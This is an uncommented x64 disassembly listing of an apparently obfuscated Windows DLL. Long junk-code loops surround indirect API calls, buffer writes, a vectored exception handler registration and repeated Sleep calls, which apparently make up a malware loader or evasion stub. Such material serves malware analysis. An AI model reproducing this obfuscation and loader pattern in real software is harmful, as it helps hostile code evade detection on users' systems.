sub rcx, qword [str.IFiDRy2W4BXUWltsjNjt72SnvT0oHvhr3VKSdcnrH0EOa416uIy55h9dbDVR164191c2xTEjfpspCo]
sub eax, ecx
mov edx, ecx
add edx, 0x3d91
mov rax, r8
or dword [rbp - 0x2bb], edx
movzx edx, al
movzx eax, dl
mov qword [rbp - 0x33f], r8
inc qword [rsp]
cmp qword [rsp], 0xafb1
jle 0x1800023e6
add rsp, 0x10
sub rcx, qword [rbp - 0x35d]
mov rax, qword [rbp - 0x5f]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800024c5
mov eax, ecx
mov ecx, 0xf75e
mov edx, eax
movzx edx, dh
sub eax, dword [rbp - 0xab]
add r9, qword [rbp - 0x11d]
mov qword [rbp - 0xe0], rax
mov edx, dword [rbp - 0x292]
mov edx, dword [rbp - 0x16d]
mov qword [0x180008b91], rax
mov rcx, 0xe82a
mov r11, 0x410a
mov ecx, dword [rbp - 0x16f]
mov ecx, 0x3623
xor rax, qword [rbp - 0x306]
or r11, r8
mov edx, ecx
or r11, 0xaac2
sub dword [0x180008b90], edx
mov eax, edx
or rcx, qword [rbp - 0x121]
sub qword [rbp - 0x332], r9
inc qword [rsp]
cmp qword [rsp], 0x6e82
jle 0x18000244c
add rsp, 0x10
leave
lea rsi, [0x18000843a]
mov r10, qword [rbp + 0x80]
call fcn.180005b87
push rbp
mov rbp, rsp
sub rsp, 0x2f8
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002631
mov rax, rdx
mov dword [rbp - 0x1b3], eax
mov eax, dword [rbp - 0x2aa]
mov ah, al
mov eax, dword [rbp - 0x2b8]
add dword [rbp - 0x270], edx
movzx ecx, byte [rbp - 0x1a7]
mov rcx, qword [rbp - 0x29a]
mov qword [rbp - 0x226], r11
mov r8, rax
mov qword [rbp - 0x41], rdx
sub qword [rbp - 0x74], r8
mov edx, dword [rbp - 0x11a]
mov qword [0x180008b97], rdx
xor qword [rbp - 0x1bd], r10
mov qword [rbp - 0x2a], r11
sub ecx, dword [rbp - 0x7d]
mov dword [rbp - 0x9f], ecx
mov qword [rbp - 0x2ed], r11
sub rdx, qword [rbp - 0x1e1]
and rdx, qword [rbp - 0x43]
add qword [rbp - 0x27a], r8
mov qword [rbp - 0x1cb], r10
mov rdx, 0xd4cb
mov qword [rbp - 0xb0], rdx
mov qword [rbp - 0x1d5], r10
mov rdx, rcx
mov qword [rbp - 0xe8], r8
add dword [rbp - 0x144], edx
or edx, dword [rbp - 0x88]
mov rcx, qword [rbp - 0x21b]
mov rax, qword [rbp - 0x26f]
mov qword [rbp - 0x274], r9
mov rax, 0x183
mov r10, qword [rbp - 0x2a0]
add r8, rax
mov dword [rbp - 0x1d9], ecx
xor r9, qword [rbp - 0x15a]
add dword [rbp - 0x38], edx
add rax, 0x62d
sub rcx, r9
and rax, 0xf3c
mov edx, dword [rbp - 0x22c]
mov dword [rbp - 0x136], ecx
mov r9, qword [rbp - 0x284]
mov edx, dword [rbp - 0x2eb]
mov qword [rbp - 0x86], rax
mov qword [rbp - 0xd6], r9
mov edx, 0x8535
mov dword [rbp - 0xec], edx
mov dword [rbp - 0x28e], eax
inc qword [rsp]
mov rcx, 0xcb50
cmp qword [rsp], rcx
jle 0x180002507
add rsp, 0x10
mov qword [rbp - 0x22d], r11
cmp rcx, r8
js 0x180002697
mov r11, r9
mov ecx, dword [rbp - 0x72]
xor r11, r8
mov r11, qword [0x180008b8e]
mov r8, 0xf6b
mov dword [rbp - 0x173], eax
mov eax, dword [rbp - 0x20c]
sub r9, rdx
and eax, dword [rbp - 0xe]
mov eax, 0x7ad7
add edx, 0x1b30
mov edx, ecx
mov eax, dword [rbp - 0x284]
and r11, rcx
mov byte [rbp - 0x202], dl
leave
mov rcx, qword [0x180008432]
mov rdx, 0xea60
mov rax, qword [0x180008a94]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x1c8
mov edx, ecx
and ecx, edx
mov r8, r9
mov word [rbp - 0x1d], dx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002702
mov dword [rbp - 0x6e], eax
mov r10, r9
mov qword [rbp - 0x1a5], r8
mov r8, qword [rbp - 0x1b1]
mov qword [rbp - 0x127], rax
mov eax, ecx
mov qword [0x180008b97], rdx
lea r10, [rbp - 0xaa]
inc qword [rsp]
cmp qword [rsp], 0x333
jle 0x1800026d3
add rsp, 0x10
mov dword [rbp - 0xf2], edx
and qword [rbp - 0x25], rax
mov ecx, dword [0x180008b8d]
mov rax, qword [rbp - 0x154]
mov edx, dword [rbp - 0x1a5]
movzx edx, dh
mov eax, edx
mov dword [rbp - 0x83], edx
mov qword [rbp - 0x16], rcx
cmp r10, qword [0x180008b96]
jb 0x18000280d
mov ecx, dword [rbp - 0x22]
sub r9, qword [0x180008b93]
mov qword [rbp - 0xc3], r11
mov edx, dword [rbp - 0x1a5]
xor r8, 0x31eb
add ecx, 0xcead
add dword [rbp - 0x9b], eax
mov qword [rbp - 0x16f], r9
mov r9, qword [rbp - 0x110]
and qword [rbp - 0x1f], r11
sub r8, 0xbbda
sub eax, dword [rbp - 0xe0]
mov r9, r8
mov ecx, dword [rbp - 0xea]
add dword [rbp - 0xed], edx
and r9, qword [rbp - 0x4a]
sub ax, cx
mov ecx, edx
mov dword [0x180008b97], ecx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800027ff
mov r8, qword [rbp - 0x1a4]
mov dword [rbp - 0x87], ecx
mov edx, dword [rbp - 0x143]
or r8, rax
mov qword [rbp - 0x18e], r10
movzx ecx, ch
mov r9, r10
mov dword [rbp - 0x42], edx
mov dword [rbp - 0x54], edx
movzx eax, byte [rbp - 0x1b6]
mov qword [rbp - 0x48], r8
mov ecx, dword [rbp - 0x176]
movzx eax, cl
inc qword [rsp]
cmp qword [rsp], 0xf282
jle 0x1800027be
add rsp, 0x10
leave
mov rcx, 0x4006
mov rax, qword [0x180008b24]
call rax
mov qword [0x180008422], rax
push rbp
mov rbp, rsp
sub rsp, 0x348
movzx edx, cl
or dword [rbp - 0x25e], edx
mov r10, 0x40a5
or qword [rbp - 0x1a8], r11
sub eax, dword [rbp - 0x2be]
movzx edx, word [rbp - 0x272]
mov eax, 0x1042
sub eax, edx
sub dword [rbp - 0x1f2], edx
mov r9, qword [rbp - 0x2b2]
xor eax, 0x8a7
mov qword [rbp - 0xc4], rdx
mov rdx, qword [rbp - 0x169]
mov al, cl
mov dword [rbp - 0x143], ecx
mov edx, dword [rbp - 0xda]
movzx eax, byte [rbp - 0xde]
mov dword [rbp - 0x308], ecx
movzx ecx, ch
mov ecx, 0x786e
xor edx, 0xd6e
mov qword [rbp - 0xbd], rcx
or qword [rbp - 0x18e], rcx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800029cd
mov eax, dword [str.IFiDRy2W4BXUWltsjNjt72SnvT0oHvhr3VKSdcnrH0EOa416uIy55h9dbDVR164191c2xTEjfpspCo]
mov eax, dword [rbp - 0x50]
sub qword [rbp - 0xa8], r10
add qword [rbp - 0x10], rcx
mov edx, dword [rbp - 0x254]
sub qword [rbp - 0x1c7], rdx
mov dword [rbp - 0x330], eax
mov eax, ecx
mov rdx, 0x4220
mov edx, dword [0x180008b8f]
lea r9, [rbp - 0x2ce]
movzx edx, ah
add ecx, 0x57d8
mov ecx, dword [rbp - 0x2b2]
mov r11, qword [str.IFiDRy2W4BXUWltsjNjt72SnvT0oHvhr3VKSdcnrH0EOa416uIy55h9dbDVR164191c2xTEjfpspCo]
mov qword [rbp - 0x29b], rcx
mov qword [rbp - 0x1d6], rcx
or r8, qword [rbp - 0x4b]
movzx edx, ah
xor r10, r9
movzx ecx, dl
mov ch, cl
mov qword [0x180008b8d], rdx
sub r10, 0xf7ba
mov dword [rbp - 0x336], ecx
mov edx, dword [0x180008b94]
movzx eax, word [0x180008b98]
mov dword [rbp - 0x16c], eax
mov eax, dword [rbp - 0xa1]
add edx, 0x2e65
mov edx, dword [rbp - 0x300]
sub qword [rbp - 0x2d6], r9
mov r10, r8
mov rax, r11
xor dword [rbp - 0x145], ecx
mov r11, qword [rbp - 0x11d]
mov r9, rcx
mov qword [rbp - 0x30a], r8
mov rdx, rax
mov rcx, qword [rbp - 0x314]
mov qword [rbp - 0x210], r11
mov eax, dword [rbp - 0x1be]
mov eax, dword [rbp - 0xd9]
add edx, ecx
mov r10, 0x2a8
mov dword [rbp - 0x1e1], ecx
sub r9, qword [rbp - 0x85]
mov edx, dword [rbp - 0xfb]
inc qword [rsp]
cmp qword [rsp], 0xb495
jle 0x1800028c3
add rsp, 0x10
leave
mov rcx, qword [0x180008422]
mov eax, dword [0x180008225]
mov dword [rcx], eax
mov word [rcx + 4], 5
add rcx, 6
lea rdx, [0x1800088c9]
mov rax, qword [0x180008b2c]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x488
and cx, word [rbp - 0x14a]
movzx eax, dh
mov edx, dword [rbp - 0xb7]
mov edx, ecx
xor r8, qword [rbp - 0x105]
and edx, dword [rbp - 0x349]
mov eax, dword [rbp - 0x31c]
mov rdx, qword [rbp - 0x84]
mov dword [rbp - 0x1d3], ecx
mov rax, qword [rbp - 0x2ae]
movzx edx, byte [rbp - 0x396]
lea r8, [rbp - 0x307]
add rdx, qword [0x180008b8d]
mov r11, 0x70d1
add dword [rbp - 0x456], ecx
mov rdx, qword [rbp - 0x3fd]
mov dx, word [rbp - 0x24b]
and eax, dword [rbp - 0x34f]
movzx ecx, al
xor word [0x180008b9b], cx
mov dx, 0xcc84
mov r8, rdx
mov eax, dword [rbp - 0xd6]
or qword [0x180008b93], rcx
mov dword [0x180008b8f], edx
and edx, ecx
cmp eax, 0xce58344b
je 0x180002b1f
add r8, rcx
mov eax, dword [rbp - 0x11]
sub dword [0x180008b99], eax
movzx ecx, cl
xor rcx, qword [0x180008b9b]
mov rdx, qword [rbp - 0x3f5]
mov edx, dword [rbp - 0x47a]
movzx eax, dl
mov qword [rbp - 0x46], rcx
mov eax, dword [rbp - 0x45e]
mov qword [rbp - 0xd4], r8
add eax, dword [rbp - 0x339]
mov eax, edx
mov edx, dword [rbp - 0x2d0]
add eax, 0x68d7
sub r8, 0xb696
add r11, r10
movzx ecx, ch
mov dword [rbp - 0x8f], eax
mov dword [rbp - 0x34c], ecx
movzx edx, ah
and rcx, qword [rbp - 0x157]
mov eax, ecx
leave
mov rdx, qword [0x180008422]
add rdx, 0xc
mov rcx, qword [rbp + 0x88]
mov r8, 0x4000
jmp 0x180002c10
lea r9, [0x18000842a]
mov qword [rsp + 0x20], 0
mov rax, qword [0x180008a84]
call rax
add qword [0x18000842a], 0xc
push rbp
mov rbp, rsp
sub rsp, 0x3e8
sub r10, rdx
mov dword [rbp - 0x30d], ecx
add ax, word [rbp - 0x33e]
mov dword [rbp - 0xf5], ecx
mov ecx, dword [rbp - 0xac]
mov dword [rbp - 0x286], ecx
mov ecx, dword [rbp - 0x2d7]
mov ecx, dword [rbp - 0x301]
sub r11, qword [str.IFiDRy2W4BXUWltsjNjt72SnvT0oHvhr3VKSdcnrH0EOa416uIy55h9dbDVR164191c2xTEjfpspCo]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002d31
sub r8, r9
add dword [rbp - 0x2e8], ecx
mov byte [rbp - 0xcb], cl
mov dword [rbp - 0x294], eax
mov rax, 0x1225
mov r11, qword [rbp - 0x102]
sub ecx, 0xc38d
mov ecx, 0xf7a8
mov ecx, 0x8ed8
mov dword [rbp - 0x1b4], eax
movzx eax, ah
mov qword [rbp - 0x354], r11
mov edx, dword [rbp - 0x295]
mov dword [rbp - 0x3dd], ecx
add ecx, eax
mov ecx, eax
movzx edx, byte [rbp - 0x185]
or r9, r11
mov dword [0x180008b9a], edx
sub qword [rbp - 0xb4], r11
mov ax, 0x4535
mov ecx, dword [rbp - 0x3a8]
mov qword [rbp - 0xf0], rdx
movzx eax, word [rbp - 0x1a7]
mov qword [rbp - 0x1c3], r8
add r8, qword [rbp - 0x29b]
xor ecx, 0x2b7e
mov edx, dword [rbp - 0x34]
and edx, eax
and ecx, dword [rbp - 0xbc]
mov rcx, rdx
mov qword [rbp - 0x231], r11
inc qword [rsp]
mov ecx, 0xce01
cmp ecx, dword [rsp]
jl 0x180002c82
add rsp, 0x10
sub r11, 0xdc08
and rcx, qword [rbp - 0x1a]
movzx eax, ax
cmp ecx, eax
jne 0x180002d94
mov edx, dword [rbp - 0x161]
mov eax, 0xb39d
movzx ecx, ah
mov dword [rbp - 0x220], eax
or ecx, dword [0x180008b93]
sub dword [rbp - 0x17e], eax
mov r11, qword [rbp - 0x375]
mov qword [rbp - 0x307], r9
mov rax, qword [rbp - 0x2e]
mov qword [rbp - 0x2c], r10
sub qword [rbp - 0x1d6], rdx
sub ecx, edx
leave
lea rbp, [rsp + 0x200]
mov rcx, qword [0x180008422]
lea rdx, [0x1800085a5]
mov rax, qword [0x180008b44]
call rax
cmp rax, 0
jne 0x180006fa9
push r13
push r14
push r12
push rbx
push rsi
push rbp
mov rbp, rsp
sub rsp, 0x2c8
or ecx, esi
sub esi, dword [rbp - 0xf7]
sub dword [rbp - 0xaa], ecx
mov qword [rbp - 0x232], rcx
xor word [rbp - 0xdf], bx
mov eax, esi
movzx ecx, al
cmp r9, 0xffffffffb1d036c7
jno 0x180002f44
sub dword [rbp - 0xd2], edx
mov al, byte [rbp - 0x27a]
add ebx, esi
mov qword [rbp - 0x1d4], r11
mov dword [rbp - 0x10e], esi
movzx edx, ah
and edx, dword [rbp - 0xdf]
movzx esi, dx
mov eax, dword [rbp - 0x34]
add qword [rbp - 0xb8], r12
mov qword [rbp - 0x29e], r13
cmp r8, rcx
jo 0x180002e9b
and r14, rsi
mov qword [0x180008b8f], rcx
sub edx, dword [rbp - 0x196]
mov dword [rbp - 0x1e], ebx
movzx eax, byte [rbp - 0x186]
xor dword [rbp - 0x1d8], ecx
mov edx, 0x5c5
mov rcx, qword [rbp - 0x80]
xor ebx, dword [rbp - 0x9a]
mov dword [rbp - 0x5f], ebx
movzx esi, ch
sub word [rbp - 0x3c], ax
mov qword [rbp - 0xb8], rax
or r12, r9
mov qword [0x180008b98], r11
mov r12, rsi
mov ebx, dword [rbp - 0x6a]
mov eax, ebx
mov edx, dword [rbp - 0xc0]
mov rbx, 0xa353
movzx esi, dx
mov rcx, r9
mov rcx, qword [rbp - 0x208]
sub rax, 0xe662
sub edx, 0x17b6
sub r12, qword [rbp - 0x176]
movzx edx, ax
or esi, 0xdf1c
mov qword [rbp - 0x33], rcx
add edx, 0xc3ee
mov r11, rax
mov ebx, dword [rbp - 0x118]
mov r9, r14
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002f36
mov rcx, qword [rbp - 0x277]
mov ebx, 0xfc58
mov dword [rbp - 0x114], edx
movzx esi, al
add esi, 0x7bee
lea rbx, [rbp - 0x24a]
mov dword [rbp - 0x21a], ecx
sub dword [rbp - 0x138], esi
mov dword [rbp - 0x14c], eax
and esi, dword [rbp - 0x116]
xor qword [rbp - 0xc1], r8
or r14, qword [rbp - 0x221]
sub edx, esi
inc qword [rsp]
mov esi, 0xcb57
cmp esi, dword [rsp]
jl 0x180002ee8
add rsp, 0x10
leave
pop rsi
pop rbx
pop r12
pop r14
pop r13
mov rdi, qword [0x180008422]
add rdi, 6
movsxd rsi, dword [0x18000842a]
mov r12, 0x78
call fcn.180004d91
mov r12, 0xf361
mov si, dx
mov bl, al
mov r11, qword [rbp - 0x60]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000300d
and rcx, qword [0x180008b94]
mov qword [rbp - 0x74], r12
mov ecx, ebx
mov qword [rbp - 0x2c6], rcx
and dword [rbp - 0xdb], edi
mov esi, dword [rbp - 0x2d2]
movzx edx, dl
sub r9, r8
mov dword [rbp - 0x1f7], esi
mov qword [rbp - 0x11], r9
mov qword [rbp - 0x22], rdx
lea r8, [rbp - 0x71]
sub edi, eax
inc qword [rsp]
cmp qword [rsp], 0x360d
jle 0x180002fcf
add rsp, 0x10
mov qword [rbp - 0x1d9], rax
mov dword [rbp - 0xd3], eax
add edx, dword [rbp - 0xd0]
mov rsi, rbx
sub ebx, 0xc623
sub edi, 0x9e94
mov r12, rdi
and r12, qword [rbp - 0x2a1]
mov qword [rbp - 0x224], r10
mov rsi, 0xa7e5
mov dword [rbp - 0x266], eax
mov eax, dword [rbp - 0xb3]
mov dword [rbp - 0x7c], ebx
mov dword [rbp - 0x93], eax
mov ebx, 0x72cc
mov ebx, ecx
sub eax, dword [rbp - 0x2a2]
sub dword [rbp - 0x209], ecx
mov eax, dword [rbp - 0x59]
xor qword [rbp - 0x22f], r13
movzx ecx, byte [0x180008b94]
movzx edx, dl
mov qword [0x180008b90], r11
xor qword [rbp - 0x113], r14
sub ebx, dword [rbp - 0x147]
mov esi, dword [0x180008b8e]
mov rcx, qword [0x180008417]
mov rax, qword [0x180008b14]
call rax
mov qword [0x180008417], 0
jne 0x1800031ac
push r12
push rdi
push rbx
push r15
push rsi
push r14
push r13
push rbp
mov rbp, rsp
sub rsp, 0x138
cmp rdx, rdi
jns 0x180003197
mov r10, rdi
mov r11, qword [rbp - 0x69]
mov dword [rbp - 0x9d], edi
or ebx, dword [rbp - 0x10d]
cmp edi, dword [str.IFiDRy2W4BXUWltsjNjt72SnvT0oHvhr3VKSdcnrH0EOa416uIy55h9dbDVR164191c2xTEjfpspCo]
jne 0x180003197
mov ebx, dword [rbp - 0xad]
movzx ebx, byte [rbp - 0x10f]
sub ecx, 0xd609
call sub.KERNEL32.dll_AddVectoredContinueHandler
add r11, qword [rbp - 0x56]
and r11, 0x1d29
mov edx, edi
mov rax, 0x5b64
xor rdi, r13
sub rdi, r8
mov qword [0x180008b9a], rsi
mov rax, 0x104a
mov r8, r15
mov ecx, dword [rbp - 0x5b]
sub r15, 0xf301
mov dword [rbp - 0x6f], eax
xor dword [rbp - 0xc1], edi
add dword [rbp - 0x6c], eax
mov qword [rbp - 0xef], r8
mov r8, qword [rbp - 0xa5]
movzx eax, ah
movzx ebx, cx
leave
pop r13
pop r14
pop rsi
pop r15
pop rbx
pop rdi
pop r12
ret
mov rcx, qword [0x1800088c1]
mov rax, qword [0x180008ac4]
call rax
mov qword [0x1800088c1], 0xffffffffffffffff
mov rcx, 0x493e0
mov rax, qword [0x180008a8c]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x478
and r9, r11
mov eax, dword [rbp - 0x1a8]
mov qword [rbp - 0xee], rax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800070a8
mov eax, dword [rbp - 0x282]
sub rax, 0x7efd
movzx eax, cx
mov qword [rbp - 0x44d], rdx
mov r8, qword [rbp - 0x360]
add r9, qword [rbp - 0x373]
sub ch, byte [rbp - 0x231]
mov qword [rbp - 0x3ef], rdx
xor qword [rbp - 0x300], r10
mov rcx, 0xd3ac
add edx, ecx
or r9, rdx
add ecx, edx
nop
mov dword [rbp - 0x290], ecx
mov cl, byte [rbp - 0x275]
movzx ecx, al
mov ecx, dword [rbp - 0x15]
mov dword [rbp - 0x153], edx
xor dword [rbp - 0x2a], eax
add qword [rbp - 0x29c], rax
mov r8, r10
mov dword [rbp - 0x1ce], eax
mov dword [rbp - 0x3e6], ecx
sub rcx, rdx
add r10, qword [rbp - 0x269]
sub r11, r8
mov rdx, qword [rbp - 0x1d6]
mov dword [rbp - 0x36e], eax
mov r10, 0x44ff
mov qword [rbp - 0x38c], rcx
or edx, dword [rbp - 0x1a9]
mov eax, dword [rbp - 0x3ca]
mov ecx, edx
sub r9, 0x9ca2
mov eax, 0x700
nop
mov qword [rbp - 0x361], rax
mov rdx, qword [rbp - 0xd7]
mov eax, dword [rbp - 0x3b7]
inc qword [rsp]
mov rax, 0xb89b
cmp qword [rsp], rax
jle 0x180006fd5
add rsp, 0x10
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180007127
sub ecx, 0x8343
xor r11, rax
mov rax, qword [rbp - 0x3cc]
and dword [0x180008b9b], eax
mov dword [rbp - 0x103], eax
mov ecx, eax
mov dword [rbp - 0x3d7], ecx
mov r11, qword [rbp - 0x46e]
mov qword [rbp - 0x2e1], r9
sub qword [rbp - 0x1af], r10
mov r10, r11
mov byte [rbp - 0x2e], ch
add edx, dword [rbp - 0x40a]
mov word [rbp - 0x31c], dx
lea r10, [rbp - 0x417]
add eax, 0x58bb
inc qword [rsp]
cmp qword [rsp], 0x6d28
jle 0x1800070cb
add rsp, 0x10
leave
mov rcx, 0x1388
call sub.KERNEL32.dll_Sleep
mov rax, 0
cmp rax, 0
je 0x180006fa9